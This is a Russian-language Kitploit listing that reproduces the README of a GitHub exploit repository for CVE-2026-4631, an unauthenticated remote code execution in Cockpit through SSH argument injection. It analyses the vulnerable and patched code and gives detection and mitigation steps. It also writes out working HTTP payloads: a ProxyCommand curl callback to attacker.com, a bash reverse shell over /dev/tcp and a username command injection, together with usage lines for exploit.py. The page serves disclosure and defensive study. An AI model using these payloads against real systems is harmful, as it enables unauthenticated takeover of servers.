Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-4631-cockpit-RCE — Cockpit: Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH | Kitploit
Инструменты/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed Teaming
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit: Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH

Репозиторий
1464 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-4631 — Анализ кода

Cockpit: Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH

ПолеДетали
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
СерьёзностьКритическая (CVSS 9.8)
Затронутые версииCockpit 327 – 359
Исправлено вCockpit 360
CWECWE-78: Внедрение команд ОС
Требуется аутентификацияНЕТ
СообщилJelle van der Waa

Содержание

  1. Обзор уязвимости
  2. Архитектурные предпосылки
  3. Анализ первопричины
  4. Уязвимый код — по файлам
  5. Векторы атак
  6. Диаграмма потока данных
  7. Анализ исправления
  8. Обнаружение
  9. Ссылки

1. Обзор уязвимости

Функция удалённого входа в Cockpit передаёт предоставленные пользователем имена хостов (из пути URL) и имена пользователей (из заголовка Authorization: Basic) напрямую в бинарный файл OpenSSH ssh без какой-либо проверки или очистки.

Неаутентифицированный злоумышленник с сетевым доступом к порту 9090 может сформировать один HTTP-запрос, который:

  • Внедряет произвольные параметры SSH через поле имени хоста (-oProxyCommand=<cmd>)
  • Внедряет shell-команды через поле имени пользователя, используя расширение токена %r в SSH

Обе точки внедрения срабатывают до завершения проверки учётных данных, то есть для этого не требуется действительный вход в систему.


2. Архитектурные предпосылки

Обычный процесс удалённого входа

Auth-flow

Что изменилось в версии 327

До версии 327 Cockpit использовал специальный бинарный файл на C под названием cockpit-ssh (на основе libssh) для удалённых подключений. Начиная с версии 327, он был заменён на:

root@kitploit:~
python3 -m cockpit.beiboot

который вызывает системный клиент OpenSSH ssh. Это изменение привело к появлению уязвимости, поскольку новый путь кода передаёт управляемые пользователем значения напрямую в ssh без очистки.


3. Анализ первопричины

Проблема 1 — Отсутствие разделителя -- перед именем хоста

SSH-клиент интерпретирует аргументы, начинающиеся с -, как параметры, а не как имя хоста, если перед ними нет разделителя --. Без -- любое имя хоста, начинающееся с -, разбирается как флаг SSH.

Уязвимая конструкция:

root@kitploit:~
ssh [параметры] <имя-хоста> <удалённая-команда>

Безопасная конструкция:

root@kitploit:~
ssh [параметры] -- <имя-хоста> <удалённая-команда>

Проблема 2 — Отсутствие проверки входных данных

Ни cockpit-ws (код на C), ни cockpit.beiboot (код на Python) не проверяют и не очищают:

  • Имя хоста, извлечённое из пути URL
  • Имя пользователя, извлечённое из заголовка Authorization: Basic

Проблема 3 — Ошибка Python argparse (CPython #66623)

Известная ошибка CPython приводит к тому, что argparse неправильно обрабатывает аргументы, начинающиеся с - и содержащие пробелы, рассматривая их как позиционные, а не как флаги. Это позволяет имени хоста -oProxyCommand=evil command пройти через разбор аргументов Python и достичь ssh в качестве параметра.


4. Уязвимый код — по файлам

4.1 src/cockpit/beiboot.py — Основная точка внедрения

Это самый критичный файл. Функция via_ssh() формирует список аргументов команды SSH.

Уязвимый код (до исправления)

root@kitploit:~
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Сформировать ssh-команду для выполнения `cmd` на `dest`."""

    # Разбор необязательного порта из dest (например, "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Удаление квадратных скобок IPv6
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  УЯЗВИМО: Нет '--' перед именем хоста
        # Если host = "-oProxyCommand=evil", ssh воспринимает это как параметр
        destination = ['-p', port, host]

    else:
        #  УЯЗВИМО: Необработанные данные атакующего передаются напрямую в ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

Как выглядит итоговый вызов SSH

С dest = "-oProxyCommand=curl http://attacker.com/id":

root@kitploit:~
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← параметр cockpit
arg2: -oProxyCommand=curl http://...   ←  РАЗОБРАН КАК ПАРАМЕТР SSH (не имя хоста)
arg3: python3 -ic '# cockpit-bridge'   ← становится "именем хоста" → запускает ProxyCommand

Исправленный код (версия 360)

root@kitploit:~
    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  ИСПРАВЛЕНО: '--' заставляет всё после него быть позиционным
        destination = ['-p', port, '--', host]

    else:
        #  ИСПРАВЛЕНО: добавлен разделитель '--'
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — Слой C: Извлечение имени хоста

Этот C-файл обрабатывает начальный разбор HTTP-запроса и запускает процесс beiboot.

Извлечение имени хоста из URL (без проверки)

root@kitploit:~
static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Извлекает всё после "cockpit+=" из пути URL
    //  Без проверки символов — дефисы, спецсимволы разрешены
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

Возвращённое имя хоста передаётся напрямую как аргумент при запуске beiboot:

root@kitploit:~
// cockpit_ws_ssh_program — шаблон команды запуска
//  УЯЗВИМО: имя хоста добавляется без очистки
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        Отсутствие завершающего '--' означает, что имя хоста
//                        может быть разобрано как флаг Python'овским argparse (CPython #66623)

Исправлено в версии 360

root@kitploit:~
//  ИСПРАВЛЕНО: завершающий '--' гарантирует, что имя хоста всегда позиционное
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Извлечение имени пользователя из заголовка Authorization (без проверки)

root@kitploit:~
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Декодирует Authorization: Basic base64(user:password)
        //  Без проверки 'user' — точки с запятой, спецсимволы разрешены
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' передаётся в учётные данные и в конечном итоге в 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  без очистки
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — Третья точка внедрения

Встроенная библиотека ferny (используется для взаимодействия с SSH) имеет то же упущение -- в своём вызове подпроцесса.

Уязвимый код (до исправления)

root@kitploit:~
async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE доступен не везде, поэтому используем setsid
    process = await asyncio.create_subprocess_exec(
        #  УЯЗВИМО: жёстко заданный путь + нет '--' перед назначением
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

Исправленный код (версия 360)

root@kitploit:~
    process = await asyncio.create_subprocess_exec(
        #  ИСПРАВЛЕНО: поиск по PATH вместо жёстко заданного пути + добавлен '--'
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

4.4 containers/ws/cockpit-auth-ssh-key — Путь развёртывания в контейнерах

Этот скрипт является командой аутентификации, используемой в Docker/контейнерных развёртываниях Cockpit.

root@kitploit:~
#!/usr/bin/env python3

import os, sys

# Извлечение хоста из окружения
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  УЯЗВИМО: та же первопричина — хост передаётся без очистки в beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

Это отдельная точка входа, отличная от основного пути beiboot.py, что означает, что контейнерные развёртывания Cockpit уязвимы независимо, даже если основной путь кода исправлен.


5. Векторы атак

Вектор 1 — Имя хоста → внедрение ProxyCommand

Предварительное условие: OpenSSH < 9.6 на хосте Cockpit (в OpenSSH 9.6 появилась ранняя проверка имени хоста, блокирующая метасимволы оболочки).

HTTP-запрос:

root@kitploit:~
GET /cockpit+=-oProxyCommand=<КОМАНДА>/login HTTP/1.1
Host: <цель>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

Декодированный Authorization: invalid:invalid — подойдёт любое значение.

Как это работает:

  1. cockpit-ws извлекает -oProxyCommand=<КОМАНДА> из пути URL как "имя хоста"
  2. beiboot'овский via_ssh() формирует: ssh -oProxyCommand=<КОМАНДА> python3 -ic '# cockpit-bridge'
  3. SSH разбирает -oProxyCommand=<КОМАНДА> как параметр (не имя хоста)
  4. SSH использует python3 -ic '# cockpit-bridge' как имя хоста
  5. SSH выполняет <КОМАНДА> как ProxyCommand при подключении к этому "имени хоста"
  6. <КОМАНДА> выполняется от имени пользователя процесса cockpit-ws

Пример — OOB-обратный вызов:

root@kitploit:~
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

Декодированный ProxyCommand: curl http://attacker.com/id``

Пример — обратная оболочка:

root@kitploit:~
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

Декодированный ProxyCommand: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1


Вектор 2 — Имя пользователя → внедрение токена %r

Предварительное условие: В ssh_config цели содержится директива Match exec, использующая токен %r (удалённое имя пользователя).

Пример уязвимого ssh_config:

root@kitploit:~
Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

HTTP-запрос:

root@kitploit:~
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <цель>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

Декодированный Authorization: x; touch /tmp/pwned; #:invalid

Извлечённое имя пользователя: x; touch /tmp/pwned; #

Как это работает:

  1. SSH разворачивает %r с именем пользователя перед выполнением команды Match exec
  2. Оболочка получает: /usr/bin/test x; touch /tmp/pwned; # = blocked_user
  3. Оболочка интерпретирует точки с запятой: выполняет touch /tmp/pwned, затем игнорирует остальное
  4. SSH позже отклоняет формат имени пользователя — но команда уже выполнена

6. Диаграмма потока данных

Auth-bypass


7. Анализ исправления

Исправление минимально — добавление -- (разделителя конца параметров POSIX) перед аргументом назначения в каждом месте вызова SSH.

Исправление 1 — src/cockpit/beiboot.py (коммит 9d0695647)

root@kitploit:~
- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

Исправление 2 — src/ws/cockpitauth.c (коммит 9d0695647)

root@kitploit:~
- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Исправление 3 — vendor/ferny/src/ferny/session.py (коммит 44ec511c99)

root@kitploit:~
- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

Почему -- исправляет проблему

Токен -- сообщает разборщикам аргументов (как Python'овскому argparse, так и разборщику параметров OpenSSH), что все последующие токены являются позиционными аргументами, а не параметрами. После -- значение вида -oProxyCommand=evil обрабатывается как буквальная строка имени хоста, которую SSH затем отклоняет как недействительную — ничего не выполняется.


8. Обнаружение

Обнаружение на сетевом уровне

Ищите HTTP-запросы к конечной точке входа Cockpit, где компонент пути содержит синтаксис параметров SSH:

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

Особое внимание обратите на:

  • -oProxyCommand= в пути URL (Вектор 1)
  • Точки с запятой в декодированном значении Authorization: Basic (Вектор 2)

Обнаружение по журналам (journald)

root@kitploit:~
# Проверка запуска beiboot с подозрительными аргументами
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# Проверка вызовов SSH от пользователя cockpit-ws
journalctl _COMM=ssh | grep -v "^--$"

Проверка версии

root@kitploit:~
# Проверка, уязвима ли установленная версия
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Уязвима, если версия находится в диапазоне от 327 до 359 включительно

rpm -q cockpit-ws
# Применяется та же проверка версии

9. Векторы атак

Сканирование одной цели

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username

Username injection

Сканирование нескольких целей из файла

root@kitploit:~
python3 exploit.py --file url.txt --vector username

Username injection

Обнаружение с помощью OOB

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

Username injection

Вектор атаки 1 — Имя пользователя → внедрение токена %r

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Username injection

Смягчение последствий (если исправление невозможно немедленно)

Добавьте в /etc/cockpit/cockpit.conf:

root@kitploit:~
[WebService]
LoginTo = false

Это полностью отключает функцию удалённого входа, предотвращая запуск пути кода beiboot.


10. Ссылки

РесурсURL
Раскрытие OSS-Securityhttps://www.openwall.com/lists/oss-security/2026/04/10/5
Консультация по безопасности GitHubhttps://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Проблема Bugzillahttps://bugzilla.redhat.com/show_bug.cgi?id=2450246
Коммит исправления (cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
Коммит исправления (ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
Ошибка argparse в CPythonhttps://github.com/python/cpython/issues/66623
Проверка имени хоста в OpenSSH 9.6https://github.com/openssh/openssh-portable/commit/7ef3787
Скачать инструмент